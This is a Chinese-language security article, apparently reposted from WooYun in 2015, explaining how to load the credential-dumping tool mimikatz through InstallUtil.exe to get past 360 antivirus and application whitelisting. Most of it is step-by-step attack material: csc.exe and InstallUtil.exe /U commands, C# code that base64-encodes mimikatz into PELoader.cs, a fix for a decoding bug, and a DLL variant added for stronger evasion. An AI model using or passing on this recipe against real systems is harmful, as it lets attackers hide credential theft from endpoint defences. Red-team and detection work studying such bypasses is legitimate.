首页 网络安全 安全学院 查看内容

利用白名单绕过360实例

2015-9-18 09:16 |来自: WooYun知识库 3043 0

摘要: 0x00 前言 最近 subTee 在其博客中介绍了如何利用白名单绕过防护,但细节存在 bug ,所以本文仅介绍如何修复其 bug 并利用该方法绕过 360 ,更多利用方法值得探索 博客链接: http://subt0x10.blogspot.hk/ (需 ...
关键词: 如图 Mimikatz PELoader exe InstallUtil 测试 代码 System Framework Microsoft

0x00 前言

最近 subTee 在其博客中介绍了如何利用白名单绕过防护,但细节存在 bug ,所以本文仅介绍如何修复其 bug 并利用该方法绕过 360 ,更多利用方法值得探索

博客链接:

http://subt0x10.blogspot.hk/ (需翻墙)

文章地址:

http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html (需翻墙)

0x01 测试目标

下载最新版本 Mimikatz ,实现绕过杀毒软件的查杀。

0x02 测试环境

操作系统: Win7 x64

mimikatz版本: 2.0 alpha 20150906 (oe.eo) edition (目前为止最新)

下载链接: https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906

测试日期:9/14/2015

0x03 实际测试

建议先了解参考链接,链接中提到的相关基础知识不做再次介绍

1、下载最新mimikatz,测试查杀情况

毫无疑问,被查杀,如图

2、利用InstallUtil.exe执行程序

(1)下载 https://gist.github.com/subTee/00cdac8990584bd2c2fe 并保存为 PELoader.cs

(2)参照博客中的示例,执行如下代码:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图,生成 PELoader.exe ,然后通过 InstallUtil.exe 执行 PELoader.exe

成功加载运行 mimikatz

进程显示为 InstallUtil.exe ,如图

(3)测试生成的 PELoader.exe 查杀情况

如图,360成功检测威胁

(4)尝试修改 PELoader.cs

阅读代码发现 Line853-856 存储了 base64 加密后的mimikatz

那么参照作者给出的修改方法修改

作者给出的修改方法如下:

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *

(5)测试 Base64 Encode Mimikatz In PowerShell

按照作者给出的方法对 mimikatzbase64 编码并保存在Mimikatz.b64文件中

如图

执行 Powershell 代码

执行后生成 Mimikatz.b64 ,如图

打开将内容复制到 PELoader.cs 中的变量 KatzCompressed 的定义中,如图

按照步骤(2)执行测试,发现错误,如图

0x04 分析

作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序

0x05 解决方案

在做了多次实验并研究代码后成功找到了错误原因:

Powershellbase64 编码同 c#base64 解码之间存在解析错误

解决步骤:

(1)使用c#对mimikatz作base64加密

代码如下:

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test1
{
  class Program
  {
    static void Main(string[] args)
    {
      byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
      String AsBase64String = Convert.ToBase64String(AsBytes);
      StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
      sw.Write(AsBase64String);
      sw.Close();
    }
  }
}

我使用的环境是 vs2012 ,新建 c# 工程,填写以上代码,编译后运行,生成新的 mimikatz.b64 ,如图

细心的同学可以发现和之前使用 Powershell 生成的 mimikatz.b64 有所区别

(2)替换变量 KatzCompressed 的定义内容

如图

(3)修改解密过程

定位 PELoader.cs Line106,去掉

byte[] decompressed = Decompress(FromBase64);

在前面添加“//”即可,如图

(4)再次编译并利用 InstallUtil.exe 执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图

证明修改成功,能够顺利执行我们修改的代码

(5)增强免杀

采用如下生成步骤:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

如图

也可以成功加载 mimikatz

测试查杀情况

如图

注:测试全过程开启360,主动防御未触发

0x06 小结

通过 InstallUtil.exe 执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。

声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人
1

握手

鲜花

鸡蛋

刚表态过的朋友 (1 人)

  • 握手

    匿名

最新评论

返回顶部